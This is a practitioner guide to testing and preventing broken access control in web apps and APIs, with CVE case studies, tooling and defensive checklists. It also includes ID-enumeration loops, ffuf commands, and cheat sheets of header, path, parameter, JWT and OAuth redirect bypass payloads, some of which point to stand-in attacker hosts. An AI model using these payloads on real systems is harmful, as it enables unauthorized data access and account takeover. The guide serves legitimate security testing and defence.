Comprehensive Authorization & Access Control Guide#
A practitioner’s reference for Broken Access Control (OWASP A01) — the models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns that matter in modern web and API testing. Compiled from 33 research sources.
Table of Contents#
- Fundamentals
- Authorization Models
- Attack Surface & Discovery
- Vertical Privilege Escalation
- Horizontal Privilege Escalation & IDOR/BOLA
- Broken Function Level Authorization
- URL, Method & Header Bypasses
- Parameter & Keyword Bypasses
- JWT & Token Claim Manipulation
- OAuth Scope & Redirect Abuse
- Multi-Tenant & Session Isolation Failures
- Cloud & AI Agent Authorization
- Real-World CVEs and Chains
- Tools & Automation
- Detection & Prevention
- Testing Methodology
- Quick Reference
1. Fundamentals#
Access control is the application of constraints on who or what is authorized to perform actions or access resources. It sits on top of two related primitives:
| Layer | Question | Failure mode |
|---|---|---|
| Authentication (AuthN) | Who are you? | Credential stuffing, SQLi login bypass, weak reset tokens |
| Session management | Which requests belong to the same caller? | Token fixation, weak “remember me” tokens |
| Authorization (AuthZ) | Are you allowed to do this? | BOLA, BFLA, privilege escalation |
Broken access control has been the #1 OWASP Top 10 vulnerability since 2021 and remains at the top in the 2025/2026 lists. It appears in roughly 94% of tested applications and is responsible for more paid bug bounty reports than any other category on HackerOne.
Why it dominates:
- Authorization is business logic — no framework, linter, or scanner can infer the correct policy from code alone.
- Modern apps have many edges (REST, GraphQL, webhooks, background workers, mobile APIs, admin panels) and each edge must independently enforce the same rules.
- Every new feature introduces a new object type, new role, new endpoint — and new chances to forget a check.
- Developers conflate hiding a button with enforcing a control.
Three classes of broken access control:
| Class | Description | Typical impact |
|---|---|---|
| Vertical | Low-priv user reaches admin-only functionality | Full site takeover, user deletion, config change |
| Horizontal | User A reaches User B’s resources | PII disclosure, mass scraping, ATO via reset |
| Context-dependent | User skips or replays a required step | Buying without paying, approving own request |
Impact spectrum: Read one extra record → Enumerate entire user base → Modify other tenants’ data → Escalate to admin → Pivot to cloud/internal systems → Full platform compromise.
2. Authorization Models#
Understanding the intended model is a prerequisite to spotting where it breaks.
2.1 DAC — Discretionary Access Control#
Resource owners decide who can access what. Think Unix file permissions, Google Docs “share with…”, GitHub repo collaborators. Common failures:
- Ownership transfers that don’t revoke old permissions.
- “Public” toggles that silently expose historical objects.
- Share-link tokens that are low-entropy or never expire.
2.2 MAC — Mandatory Access Control#
A central policy dictates access — the user cannot override it. Classic in classified-data systems, SELinux, and regulated workloads. Failures tend to be configuration mistakes (wrong label, missing category) rather than logic bugs.
2.3 RBAC — Role-Based Access Control#
Permissions are bundled into roles (viewer, editor, admin, billing_admin) and users are granted roles. The dominant model in SaaS. Failure modes:
- Role sprawl — dozens of roles that overlap or have undocumented superpowers.
- Implicit admin — a non-admin role that inherits a dangerous permission (e.g.
supportcan impersonate users). - Client-side role checks — the UI hides the button but the API accepts the call.
- Role escalation endpoints — a
PATCH /users/:idthat accepts{role: "admin"}from any authenticated user.
2.4 ABAC — Attribute-Based Access Control#
Decisions are computed from attributes of the subject, resource, action, and environment (if user.department == resource.department and time < 18:00). Flexible, but the policy surface is huge. Failure modes:
- Missing attributes default to
allow. - Attribute sources are user-controllable (e.g. a JWT claim the user can edit).
- Policy engines (OPA, Cedar) evaluated against stale or cached data.
2.5 ReBAC — Relationship-Based Access Control#
Authorization is derived from a graph of relationships (user -> member_of -> team -> owns -> document). Examples: Google Zanzibar, SpiceDB, OpenFGA. Failure modes:
- Relationship writes not atomic with resource writes (TOCTOU).
- Indirect paths that the developer didn’t model (a guest in a parent folder inherits access to a sensitive child).
- Tuple deletion races — revoke arrives after the read.
2.6 Model comparison#
| Model | Granularity | Best for | Primary risk |
|---|---|---|---|
| DAC | Per-resource | Collaboration tools | Ownership drift |
| MAC | Per-label | Regulated data | Misconfiguration |
| RBAC | Per-role | Enterprise SaaS | Role sprawl, missing checks |
| ABAC | Per-attribute | Dynamic/contextual | Policy gaps, attribute trust |
| ReBAC | Per-relationship | Graph-shaped apps | Indirect paths, write races |
Real apps usually mix these — for example, RBAC for coarse roles plus ABAC for row-level filters plus ReBAC for sharing.
3. Attack Surface & Discovery#
3.1 Where broken access control hides#
From the Intigriti BugQuest series, seven recurring hotspots:
- New features shipped without a full authorization pass.
- Premium/paid features gated only in the UI or billing layer.
- Legacy code — “we wrote this in 2016, nobody remembers how.”
- Third-party integrations — webhooks, OAuth apps, SSO bridges.
- APIs — especially mobile and partner APIs not surfaced in the web UI.
- Complex permission systems — custom roles, ACL-per-object, impersonation.
- File operations — upload, download, export, import.
3.2 Finding hidden endpoints#
| Source | What it reveals |
|---|---|
robots.txt, sitemap.xml, security.txt | Admin paths the author tried to hide |
.well-known/ | OIDC, OAuth, assetlinks, apple-app-site-association |
package.json, swagger.json, openapi.json | Full route inventory |
.git/config, .env, backup files | Credentials, internal hostnames |
| JavaScript bundles | Route strings, role flags (isAdmin), API base URLs |
| GraphQL introspection | Every query/mutation/field |
| Mobile app binaries (APK/IPA) | Hidden admin APIs, debug endpoints |
| Wayback Machine, CT logs, GitHub search | Deleted or internal endpoints still live |
| Postman collections, Pastebin | Leaked internal API specs |
3.3 Parameters that scream “test me”#
- Path:
/api/user/1234,/invoice/550e8400-... - Query:
?id=,?user=,?org=,?tenant=,?role=,?admin=true - Body:
{"user_id":321,"order_id":987,"role":"viewer"} - Headers/cookies:
X-Client-ID,X-Tenant,X-User-Role
Prefer endpoints that read or modify (GET, PUT, PATCH, DELETE) over pure writes, and note whenever identifiers look sequential or predictable — if your ID is 64185742, then 64185741 almost certainly exists.
4. Vertical Privilege Escalation#
Vertical escalation = a user reaches functionality reserved for a higher privilege tier.
4.1 Unprotected functionality#
The simplest and still most common flaw: admin pages exist at predictable URLs with no server-side role check.
https://target.com/admin
https://target.com/admin.php
https://target.com/administrator
https://target.com/dashboard/admin
Even when the path is “secret” (/administrator-panel-yb556), the URL is often leaked:
<script>
var isAdmin = false;
if (isAdmin) {
var a = document.createElement('a');
a.href = 'https://target.com/administrator-panel-yb556';
}
</script>
The script — and the URL — is served to every user regardless of role. “Security by obscurity” is not access control.
4.2 Parameter-based role flags#
Some apps store the user’s role in a client-controllable location and trust it:
GET /login/home.jsp?admin=true
GET /dashboard?role=1
POST /account {"user_type": "admin"}
Cookie: role=user -> Cookie: role=admin
If the server reads the role from the request instead of the session, toggling the value escalates.
4.3 Hidden form fields and mass assignment#
Registration or profile endpoints that accept an unexpected field:
POST /register
{
"email": "attacker@example.com",
"password": "...",
"role": "admin", <- accepted silently
"is_superuser": true,
"email_verified": true
}
Rails, Django, Laravel, and Spring are especially prone to this when the model is bound directly from request JSON without an allow-list.
4.4 Platform-layer rule bypasses#
If the access control is enforced by the web server or API gateway (“deny POST /admin/* to non-admins”) the app may still be vulnerable when:
- The method is changed (
GET/HEAD/OPTIONS/TRACE) and the backend accepts it. - URL normalization differs between gateway and app (
/admin/./deleteUser,/Admin/DeleteUser,/admin/deleteUser;x=y). - A header rewrites the effective path (see §7).
5. Horizontal Privilege Escalation & IDOR/BOLA#
5.1 IDOR vs BOLA#
The same bug by two names:
- IDOR (Insecure Direct Object Reference) — the classic web-era term.
- BOLA (Broken Object Level Authorization) — OWASP API Security Top 10 #1, identical concept reframed for APIs.
Both occur when the application uses a user-supplied identifier to look up an object without verifying the caller owns or is entitled to it.
5.2 The minimal test#
With a low-privilege authenticated session, change only the ID — keep the same cookie/token — and see if you still get the target object.
PUT /api/lead/cem-xhr HTTP/1.1
Cookie: auth=<your session>
Content-Type: application/json
{"lead_id": 64185741} <- someone else's lead
Absence of an authorization error is the tell.
5.3 Enumeration patterns#
Sequential integer IDs are the jackpot — sweeping them gives full-table disclosure:
for id in $(seq 1 100000); do
curl -s -H "Cookie: $COOKIE" "https://target/api/object/$id" \
| jq -e '.email' && echo "hit $id"
done
With ffuf and an authenticated cookie:
ffuf -u 'https://target/download.php?id=FUZZ' \
-H 'Cookie: PHPSESSID=<session>' \
-w <(seq 0 100000) \
-fr 'File Not Found'
5.4 Predictable “unguessable” identifiers#
A GUID/UUID isn’t automatically safe:
- UUIDv1 leaks MAC address and timestamp — grindable.
- Base64-encoded integers (
Mg===2) are just integers in disguise. - Hash-encoded IDs with a known salt (
md5(user_id + "secret")) fall to rainbow tables or source disclosure. - Hex-encoded short strings — the 2026 Carlsberg wristband QR case encoded short IDs like
C-285-100as ASCII-hex432d3238352d313030; the 26M keyspace was exhausted in about 52 hours at 139 req/s, exposing photos, videos, and names of ~500 visitors in the first sample run.
Lesson: encoding is not entropy. Any ID that functions as a bearer token must be a high-entropy random secret.
5.5 Combinatorial / multi-ID IDORs#
Some endpoints take two or more IDs:
GET /chat.php?chat_users[0]=42&chat_users[1]=7
If the check is “are you logged in” and not “are you one of chat_users[*]”, fuzz both positions and keep only unique unordered pairs:
ffuf -u 'https://target/chat.php?chat_users[0]=A&chat_users[1]=B' \
-w <(seq 1 1000):A -w <(seq 1 1000):B \
-H 'Cookie: PHPSESSID=<session>'
5.6 Error-response oracles#
Subtle differences in responses create enumeration oracles:
| Response | Meaning |
|---|---|
| 404 “User not found” | The username doesn’t exist |
| 403 “Forbidden” | The username exists but you can’t access it |
| 200 with empty body | Exists, you have partial access |
| 500 stack trace | Exists, internal state was touched |
Length, timing, and status-code deltas are all oracles — even when the body looks identical.
5.7 Redirect leaks#
An app that detects unauthorized access and redirects to /login may still include the target’s sensitive data in the redirecting response body or Location header fragment. Always inspect the raw 302 before following it.
5.8 Horizontal → vertical pivot#
Horizontal reads on the right victim become vertical escalation. If the IDOR lets you view or change arbitrary users, target an admin account: read their password reset token, change their email, or scrape their session cookie from an exported audit log.
6. Broken Function Level Authorization#
OWASP API Security Top 10 #5 — BFLA is the function-level sibling of BOLA.
Where BOLA is “I can read object X I shouldn’t,” BFLA is “I can call function F I shouldn’t.” The function itself is what’s privileged.
Typical shape:
# Low-priv user
POST /api/admin/users/delete {"id": 42} -> 200 OK
POST /api/admin/config {"maintenance": true} -> 200 OK
Watch for:
- Role naming conventions in paths (
/admin/…,/internal/…,/mgmt/…,/debug/…). - HTTP method toggles —
GET /usersworks,POST /userscreates a user,DELETE /users/1deletes — and onlyGETis checked. - “Bulk” variants —
/users/bulk-updatemay skip the per-object authorization that/users/:idenforces. - GraphQL mutations — resolvers frequently check authentication but not authorization.
CVE-2025-67274 (aangine 2025.2) is textbook BFLA: low-privileged authenticated users could send HTTP requests directly to admin-restricted backend API endpoints (template management, integration jobs, logs, portfolio data) because the JWT’s role and scope claims were never validated at the API layer. The UI correctly hid the admin panel; the API didn’t.
7. URL, Method & Header Bypasses#
When the access control is enforced by a reverse proxy, API gateway, or URL pattern matcher, small discrepancies between the gateway’s normalization and the backend’s routing yield bypasses.
7.1 Path normalization tricks#
| Variant | Why it works |
|---|---|
/ADMIN/DELETEUSER | Case-insensitive backend, case-sensitive gateway |
/admin/deleteUser/ | Trailing slash collapses to a different route |
/admin/deleteUser.anything | Spring useSuffixPatternMatch (default < 5.3) |
/admin/deleteUser;x=y | Matrix parameter stripped by the backend only |
/admin//deleteUser | Double slash collapses on one side |
/admin/./deleteUser | Dot-segment normalized on one side |
/admin/%2e/deleteUser | Encoded dot segment |
/admin/%2fdeleteUser | Encoded slash treated literally by the gateway |
/admin%20/deleteUser | Trailing whitespace ignored by backend |
/admin/deleteUser? | Query separator at end bypasses exact-match ACL |
7.2 HTTP method overrides#
| Override | Notes |
|---|---|
| Raw method change | GET → POST, POST → PUT, DELETE → POST with ?_method=DELETE |
X-HTTP-Method-Override: DELETE | Honored by many Java and Node frameworks |
X-HTTP-Method: DELETE | Alternative header name |
X-Method-Override: PUT | Alternative header name |
_method=DELETE form field | Rails, Laravel |
Rails “format” bypasses are common: /admin/users checks auth for HTML, but /admin/users.json, .xml, .csv skip the filter.
7.3 URL rewrite headers#
Some frameworks let a request header override the URL the router sees:
POST / HTTP/1.1
Host: target.com
X-Original-URL: /admin/deleteUser
X-Rewrite-URL: /admin/deleteUser
If the gateway applies ACLs to the outer path (/) and the app routes on the header, the control is skipped entirely.
7.4 Referer-based access control#
Some admin subpages only check Referer: .../admin. Since the client sends it, attackers forge it:
GET /admin/deleteUser?id=1 HTTP/1.1
Referer: https://target.com/admin
7.5 Location/geofencing#
IP-based, country-based, or device-based access control falls to:
- VPN / residential proxy / cloud egress in the right region.
X-Forwarded-For: 127.0.0.1,X-Real-IP,X-Client-IP,True-Client-IP,CF-Connecting-IP,Forwarded: for=127.0.0.1— any of these may be trusted if the app is behind a misconfigured reverse proxy.- Client-side geolocation manipulation in the browser dev tools.
8. Parameter & Keyword Bypasses#
8.1 Keyword replacement#
APIs often accept synonyms like me, current, self, my:
GET /api/users/me
GET /api/users/current
GET /api/users/self
If you replace me with an actual user ID — or vice versa — the check may fail open:
GET /api/users/42 <- explicit ID, sometimes less checked than /me
GET /api/users/me?id=42 <- hybrid that the router may resolve differently
8.2 HTTP Parameter Pollution (HPP)#
Duplicate parameters behave differently across stacks:
| Stack | ?id=1&id=2 resolves to |
|---|---|
| PHP | Last (2) |
| ASP.NET | Both, comma-joined (1,2) |
| Node Express | Array ([1,2]) |
| Python Flask | First (1) |
| Java Servlet | First (1) |
If the authorization check reads the first and the resource loader reads the last, mismatch = bypass.
8.3 Array/object injection#
{"user_id": 42} -> checked
{"user_id": [42, 99]} -> second ID slips through
{"user_id": {"$ne": null}} -> NoSQL operator injection
{"user_id": 42, "user_id": 99} -> duplicate key, last wins
8.4 Multi-step process skipping#
A checkout flow of cart → review → pay → confirm may check authorization only on pay. Jumping directly to confirm bypasses payment entirely. Always map multi-step flows and try each step in isolation.
8.5 Race conditions#
Authorization decisions made in one request and acted on in another are racy:
- Invitation accepted + immediately revoked — hit the endpoint in the window.
- Token-gated one-shot action (redeem coupon, claim refund) — parallel requests.
- Share-link disabled — still valid in cache for N seconds.
Turbo Intruder’s “single-packet attack” and Burp’s “send group in parallel” are the standard tools.
9. JWT & Token Claim Manipulation#
JWTs are a major AuthZ failure surface because the claims inside them (role, scope, tenant_id, sub) are often trusted without proper verification.
9.1 Algorithm confusion#
| Attack | How |
|---|---|
alg: none | Server accepts unsigned tokens |
RS256 → HS256 | Server verifies HS256 using the public RSA key as the HMAC secret |
ES256 → HS256 | Same pattern with ECDSA public keys |
| Weak HS256 secret | Brute-force with hashcat -m 16500 |
kid injection | SQLi, path traversal, or SSRF in the key-id lookup |
jku/x5u with attacker URL | Server fetches the signing key from an attacker host |
| Mixed algorithm libraries | Different verify paths on different endpoints |
9.2 Claim tampering#
Even with signatures intact, the server may honor claims it shouldn’t trust:
{
"sub": "alice",
"role": "user",
"tenant": "acme",
"is_admin": false
}
Watch for:
- A
roleorscopeclaim that the server reads but doesn’t re-verify against the database. subswitched to another user ID after signature bypass.tenant_id/org_id/workspace_idswapped — multi-tenant bypass.expmissing or in the distant future.aud/issnot validated — tokens from a sibling service accepted.nbfin the past but token was marked revoked — revocation cache miss.
9.3 Token chaining and mix-ups#
- Access token accepted where a refresh token was expected.
- ID token (OIDC) accepted by resource server that expected an access token.
- First-party token from one environment accepted in another (dev token on prod).
- Impersonation tokens that don’t embed the impersonator identity in the audit trail.
10. OAuth Scope & Redirect Abuse#
OAuth/OIDC is a leading source of high-impact authorization bugs because the protocol has many knobs and few clients implement them rigorously.
10.1 Scope escalation#
- Requesting a broader scope than the client is registered for — the authorization server should reject, but many don’t.
- Scope upgrade on refresh — refresh token request with new scopes that weren’t in the original grant.
- Incremental authorization that silently approves future scopes.
- Scope parameter treated as free-text —
scope=read write admin.
10.2 redirect_uri bypasses#
| Variant | How it works |
|---|---|
| Open whitelist | https://*.target.com matches https://evil.target.com |
| Path prefix | Registered https://target.com/cb, accepts https://target.com/cb/../evil |
| Scheme mix | http:// accepted when https:// was registered |
| Fragment injection | # in the URI gets appended to attacker’s URL |
| Trailing data | https://target.com@evil.com, https://target.com.evil.com |
| Path traversal | https://target.com/cb/%2e%2e/redirect?url=evil |
| Port manipulation | Registered :443, accepts :8443 |
| IDN / punycode | https://tаrget.com (Cyrillic а) |
| Localhost loophole | http://localhost:1337 accepted for web clients |
| Missing parameter | No redirect_uri defaults to first registered URI which may be wildcarded |
10.3 State and PKCE#
- Missing
state→ CSRF on the OAuth handshake, attacker-initiated login with attacker’s session swapped mid-flow. - Reusable
code— single-use should be enforced. - PKCE missing or
code_challenge_method=plain. - PKCE
verifiernot bound to the session that initiated the flow.
10.4 Token leaks#
access_tokenin the URL fragment logged by analytics, Referer leaks, browser history.- JWTs stored in
localStorage— exfiltrated via any XSS. - Tokens echoed in error pages or email receipts.
11. Multi-Tenant & Session Isolation Failures#
Multi-tenant SaaS adds a tenant dimension to every authorization check. Miss it on one endpoint and a customer can read another customer’s data.
11.1 Patterns#
- Tenant ID in the URL, not the session.
/api/v1/orgs/ORG123/users/42— if the server looks up user 42 in the global table and returns it,ORG123is just decoration. - Tenant-scoped token used cross-tenant. The token says
org: A, but the query runsSELECT * FROM users WHERE id = ?with no tenant filter. - Row-level security forgotten in a background job. The web layer enforces
tenant_id = current.tenant, the worker doesn’t. - Shared cache keys.
cache.get("user:42")without a tenant prefix — user 42 from tenant B is served to tenant A. - Global admin accounts that silently inherit all tenants — single compromise = full SaaS compromise.
11.2 OpenClaw-style session isolation failures#
The OpenClaw CMS disclosure is a representative multi-user session isolation bug: authenticated users of one tenant could view, modify, and impersonate users of other tenants by altering a single tenant parameter, because the session stored only user_id and the tenant was derived from the request. Fix: bind the tenant into the session at login time and compare against it on every lookup.
11.3 Testing multi-tenancy#
- Create two tenants (A, B) with distinct users.
- Perform every action as tenant A and capture the object IDs.
- Log in as tenant B and replay every request, substituting A’s IDs.
- Repeat with the tenant identifier swapped in each header, cookie, path, and body field.
- Repeat for bulk/export endpoints, webhooks, and downloadable artifacts.
Burp’s Autorize extension with two sessions (one per tenant) automates step 3.
12. Cloud & AI Agent Authorization#
Cloud IAM and managed-AI services have introduced a new generation of authorization failures where the victim is the cloud tenant and the attacker is a workload or agent inside it.
12.1 Over-privileged service identities#
The 2026 Unit 42 “Double Agents” research on GCP Vertex AI is a representative case:
- A deployed Vertex AI agent’s per-project service agent (P4SA) had default permissions that let the agent extract its own credentials from the metadata service (
metadata.google.internal/computeMetadata/v1/instance/?recursive=true). - The harvested token had
storage.buckets.get/listandstorage.objects.get/liston the entire consumer project — granting the agent read of every bucket. - The same token also reached Google-owned producer-side Artifact Registry repositories (
cloud-aiplatform-private/reasoning-engine), exposing internal container images.
Generalizable takeaways:
- Default roles on managed services are almost always broader than the tenant needs.
- Any workload with code execution + metadata service access is one step from its full IAM role.
- Producer/consumer boundaries blur when a managed identity crosses them.
12.2 IAM failure patterns#
| Pattern | Risk |
|---|---|
* in role/action | Trivially abusable |
iam:PassRole without a resource filter | Privilege escalation via Lambda/EC2/Glue |
| Trust policies with wildcard principals | Cross-account assume-role from anyone |
| Service control policies that only deny by tag | Untagged resources bypass |
| Resource policies less restrictive than identity policies | Least-restrictive wins |
| Long-lived static keys in CI | Leaked → durable access |
12.3 AI agent authorization#
Beyond cloud IAM, AI agents introduce their own AuthZ surface:
- The agent acts under a single identity but reasons over prompts from many users — per-prompt authorization must be enforced in tool invocations.
- Tools that wrap APIs must re-check the user’s entitlements on every call, not trust the agent loop.
- Prompt injection can coerce an agent to misuse its privileges — treat agents as confused deputies by default.
- Training data, vector stores, and RAG indexes need tenant isolation or they leak across customers.
13. Real-World CVEs and Chains#
13.1 CVE-2025-67274 — aangine BOLA#
Low-privileged authenticated users at aangine 2025.2 could call multiple admin-restricted API endpoints — template management, integration jobs, logging, portfolio data — because the API layer never validated the role/scope claims in the JWT. Fix: backend-side authorization checks on every endpoint, plus verification testing. Textbook BFLA.
13.2 CVE-2026-34886 — WordPress Simple Membership#
Versions ≤ 4.7.1 of the Simple Membership WordPress plugin allowed unauthenticated actors to trigger privileged operations (membership level changes, subscriber record edits, potential API key disclosure). Root cause: AJAX/REST endpoints lacking capability and nonce verification — the handler assumed the request was authenticated because it came from an admin UI context. Patched in 4.7.2. Pattern: AJAX handlers in WordPress plugins consistently ship without current_user_can() and without check_ajax_referer().
13.3 McHire / Paradox.ai — 64M Applicant BOLA (2025)#
Paradox.ai-powered McHire recruitment portal:
- Endpoint:
PUT /api/lead/cem-xhr - Auth: any restaurant test account session (obtained via default creds
123456:123456) - Body:
{"lead_id": <8-digit sequential>}
Decrementing lead_id returned arbitrary applicant PII (name, email, phone, address, shift prefs) plus a consumer JWT usable for session hijacking. Keyspace 1..64,185,742 implied ~64M records. Chain: default credentials → tenant access → sequential ID IDOR → mass PII + token theft.
13.4 Carlsberg “Memories” wristband IDOR (2026)#
Exhibition visitors got QR-coded wristbands whose ID (C-285-100) was hex-encoded and sent to a Cloud Function backend to fetch stored media. No session binding — knowing the ID was authorization. The ~26M-combination keyspace was exhaustible in ~52 hours at modest rates. Vendor’s claimed rate limit was ineffective — identical throughput after “remediation.” Lesson: short IDs are bearer tokens; encoding is not entropy; rate limits must be measured, not asserted.
13.5 OpenClaw — cross-tenant session isolation#
Authenticated users of one OpenClaw tenant could alter a tenant parameter to pivot into other tenants’ user stores, enabling user read, modify, and impersonation. Root cause: session bound user_id but not tenant_id; tenant derived from the request at every call. Chain: valid low-priv session → parameter swap → cross-tenant admin impersonation → full multi-tenant takeover.
13.6 GCP Vertex AI — Double Agents (2026)#
Malicious agent deployed to Agent Engine → metadata service → P4SA token → consumer buckets + Google-internal Artifact Registry images. Chain: agent code execution → metadata → IAM token → cross-project pivot. Google’s remediation was documentation and default-permission tightening — the underlying design of broad P4SA defaults is the root cause.
13.7 HackerOne top authorization disclosures#
From the reddelexchacker HackerOne top-authorization disclosures snapshot, the most-paid authorization classes (descending): BOLA/IDOR in user-owned resources, admin-function access via missing role checks, tenant-crossing in collaboration features, password reset token reuse, invite/share link authorization bypass, GraphQL field-level authorization gaps, and impersonation features that forget to log or authorize properly.
14. Tools & Automation#
14.1 Core toolkit#
| Tool | Use |
|---|---|
| Burp Suite Pro | Manual request tampering, Repeater, Intruder, session handling |
| Burp Autorize | Two-session automated authorization diffing |
| Burp AuthMatrix | Matrix-style per-role per-endpoint testing |
| Burp Turbo Intruder | High-throughput enumeration, race conditions |
| OWASP ZAP | Open-source alternative; ForcedBrowse, AuthMatrix add-on |
| Firefox Multi-Account Containers | Multiple simultaneous sessions in one browser |
| ffuf | Content discovery, ID enumeration, parameter fuzzing |
| Postman / Insomnia | Collection-driven API testing with auth profiles |
14.2 Scanning and discovery#
| Tool | Use |
|---|---|
gau, waybackurls, katana | URL harvesting for endpoint discovery |
LinkFinder, SecretFinder, JSParser | Extract routes and keys from JS |
graphql-voyager, InQL, clairvoyance | GraphQL schema and field discovery |
kiterunner | Content discovery tuned for APIs and routes |
nuclei | Templates for default-admin paths, CVE checks |
trufflehog, gitleaks | Secret/credential discovery |
14.3 IDOR-specific#
| Tool | Use |
|---|---|
| Burp Autorize | Diff responses between roles |
bwapp-idor-scanner | IDOR sweeping for common patterns |
Blindy | Bulk IDOR discovery |
| Custom curl/requests loops | Most effective on a per-target basis |
14.4 JWT and OAuth#
| Tool | Use |
|---|---|
jwt_tool | Alg confusion, key confusion, brute force |
hashcat -m 16500 | Cracking HS256 secrets |
| Burp JWT Editor | GUI token manipulation |
oauthtester, Burp OAuth extensions | redirect_uri / state / PKCE testing |
14.5 Cloud and IAM#
| Tool | Use |
|---|---|
pacu | AWS exploitation framework |
ScoutSuite, Prowler | Multi-cloud posture |
cloudsplaining, iam-vulnerable | IAM policy analysis |
peirates | Kubernetes privilege escalation |
kubiscan | Kubernetes RBAC review |
15. Detection & Prevention#
15.1 Core principles#
- Deny by default. Unless a resource is explicitly intended to be public, it is denied. Every new route inherits this default.
- Single enforcement point. Route all authorization through one library/middleware. Multiple implementations drift.
- Server-side only. Never trust client-side role flags, hidden fields, or UI state.
- Check on every request. No “we already checked in step 2” logic — every step re-authorizes.
- Tie identity to session, not to request parameters. Tenant, user, and role are derived from the authenticated session on the server.
- Use opaque identifiers. UUIDv4 or ULIDs over auto-increment integers. Not a substitute for proper authorization — it raises the cost of enumeration.
- Log authorization failures. Every 403 is a data point. Alerts on rate spikes catch enumeration.
- Rate-limit identifier sweeps. Measure it in production, not just in staging.
15.2 Defense-in-depth checklist#
- Central authorization middleware (e.g. Rails CanCan, Django permissions, Spring
@PreAuthorize, custom OPA). - Row-level security at the database layer (Postgres RLS, per-tenant schema, application-enforced
tenant_idfilter). - Deny-by-default router — if no explicit policy attached to a route, reject the request and log.
- Session binds
user_id,tenant_id,roles, andscopesat login; never re-read from request. - JWTs validated with fixed algorithm, correct audience, issuer, expiry;
alg: noneand algorithm confusion rejected. - OAuth redirect_uri matched by exact string equality, not prefix or wildcard.
- Admin endpoints on a distinct host/path plus network-layer ACL plus application-layer role check.
- Audit log of all privileged actions with actor, target, outcome, source IP, and session.
- Automated integration tests for every endpoint × every role.
- Regression suite that catches any new route without a policy decorator.
- Continuous authorization testing in CI/CD via Autorize-style diffing.
15.3 Framework-specific landmines#
| Framework | Landmine |
|---|---|
| Rails | Mass assignment, format-based bypass (.json skips before_action) |
| Django | Forgotten @permission_required, ORM global managers |
| Spring | useSuffixPatternMatch, method-level security without class-level fallback |
| Express | Middleware order — authorize after the route handler is a no-op |
| Laravel | Policies registered but not invoked in API controllers |
| WordPress | AJAX handlers without current_user_can() + check_ajax_referer() |
| GraphQL | Resolvers that authenticate but don’t authorize per-field |
15.4 Detection signals in logs#
- Spike of 403s from a single IP or session → enumeration in progress.
- 200 responses with unusual object-ID deltas (your user never touches ID 99999 normally).
- Access to admin paths from non-admin sessions — even if denied, the attempt itself is signal.
- JWT
algorkidfield changing mid-session. redirect_urivalues that don’t match your registered clients.- Cross-tenant object references in the same session.
16. Testing Methodology#
A systematic flow for AuthZ assessment, blending PortSwigger Academy, OWASP WSTG, and Intigriti BugQuest guidance.
16.1 Three-step baseline#
- Discovery — inventory every route, method, parameter, and ID field.
- Context — understand the intended authorization model (roles, tenants, relationships).
- Test — verify enforcement against each role × each endpoint × each object.
16.2 Account matrix#
Before testing, provision:
| Account | Purpose |
|---|---|
| Unauthenticated | Baseline for public endpoints |
| Low-priv user A | Horizontal target |
| Low-priv user B | Horizontal attacker |
| Privileged user | Vertical target |
| Tenant A admin | Multi-tenant target |
| Tenant B admin | Multi-tenant attacker |
| Deactivated / banned | Revocation checks |
16.3 WSTG-aligned checks#
From the OWASP Web Security Testing Guide authorization section:
- WSTG-ATHZ-01 — Directory traversal / file include (file endpoints).
- WSTG-ATHZ-02 — Authorization schema bypass (reading the role/ACL model and probing each entry).
- WSTG-ATHZ-03 — Privilege escalation (vertical and horizontal).
- WSTG-ATHZ-04 — Insecure direct object references (BOLA).
- WSTG-ATHZ-05 — OAuth weaknesses (scope, redirect_uri, state/PKCE).
16.4 Per-endpoint checklist#
For every endpoint:
- Called unauthenticated → expected deny?
- Called as every role → matches the policy?
- Called with every HTTP method → only permitted methods accepted?
- Called with modified object ID → cross-user / cross-tenant access blocked?
- Called with modified role/scope claim in JWT → rejected?
- Called with header override (
X-Original-URL,X-HTTP-Method-Override) → rejected? - Called via bulk/export variant → same enforcement as per-object?
- Called through GraphQL / mobile / partner API variant → same enforcement?
- Response body inspected for overshared fields (role, tenant, internal flags)?
- 403/redirect responses checked for sensitive data leakage?
16.5 Reporting with impact#
Frame findings with the CIA triad:
- Confidentiality — what can be read that shouldn’t be (PII, tokens, internal docs).
- Integrity — what can be written or changed (account takeover, payment, config).
- Availability — what can be deleted or locked (user deletion, tenant wipe).
Chain horizontal → vertical where possible: “IDOR reveals admin password reset token → ATO of admin → full tenant compromise.” A simple IDOR that returns PII is valuable; a simple IDOR that returns an admin’s reset token is critical.
17. Quick Reference#
17.1 Header bypass cheat sheet#
X-Original-URL: /admin/deleteUser
X-Rewrite-URL: /admin/deleteUser
X-HTTP-Method-Override: DELETE
X-HTTP-Method: DELETE
X-Method-Override: DELETE
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: https://target.com/admin
X-Original-URL: /admin
17.2 Path normalization cheat sheet#
/admin/deleteUser
/admin/deleteUser/
/admin//deleteUser
/admin/./deleteUser
/admin/%2e/deleteUser
/admin%20/deleteUser
/admin/deleteUser;x=y
/admin/deleteUser?
/admin/deleteUser.json
/admin/deleteUser.xml
/admin/deleteUser.html
/ADMIN/DELETEUSER
/%61dmin/deleteUser
/admin%2fdeleteUser
17.3 Parameter tampering cheat sheet#
?admin=true
?role=admin
?is_admin=1
?user=admin
?debug=1
?test=1
?id=1&id=2
?id[]=1&id[]=2
id=1,2
{"role":"admin"}
{"is_superuser":true}
{"user_id":{"$ne":null}}
{"user_id":["me",42]}
17.4 JWT attack cheat sheet#
alg: none
alg: None
alg: NONE
RS256 -> HS256 with public key as secret
kid: ../../../../dev/null
kid: ' UNION SELECT 'x
jku: https://attacker.example/keys.json
x5u: https://attacker.example/cert.pem
sub: <victim>
role: admin
is_admin: true
scope: admin:*
tenant: <victim_tenant>
17.5 OAuth redirect_uri cheat sheet#
https://target.com.attacker.com/cb
https://target.com@attacker.com/cb
https://attacker.com/target.com/cb
https://target.com/cb/../evil
https://target.com/cb#@attacker.com
https://target.com/cb?x=https://attacker.com
https://tаrget.com/cb (IDN)
http://target.com/cb (scheme downgrade)
https://target.com:8443/cb (port change)
17.6 IDOR target list#
/api/users/{id}
/api/users/me
/api/users/me/documents/{id}
/api/orgs/{org}/users/{id}
/api/invoices/{id}
/api/orders/{id}
/api/messages/{id}
/api/files/{uuid}
/api/exports/{id}
/download?id={id}
/export?id={id}
/view?username={u}&file={f}
17.7 Default credential list (starting points)#
admin:admin
admin:password
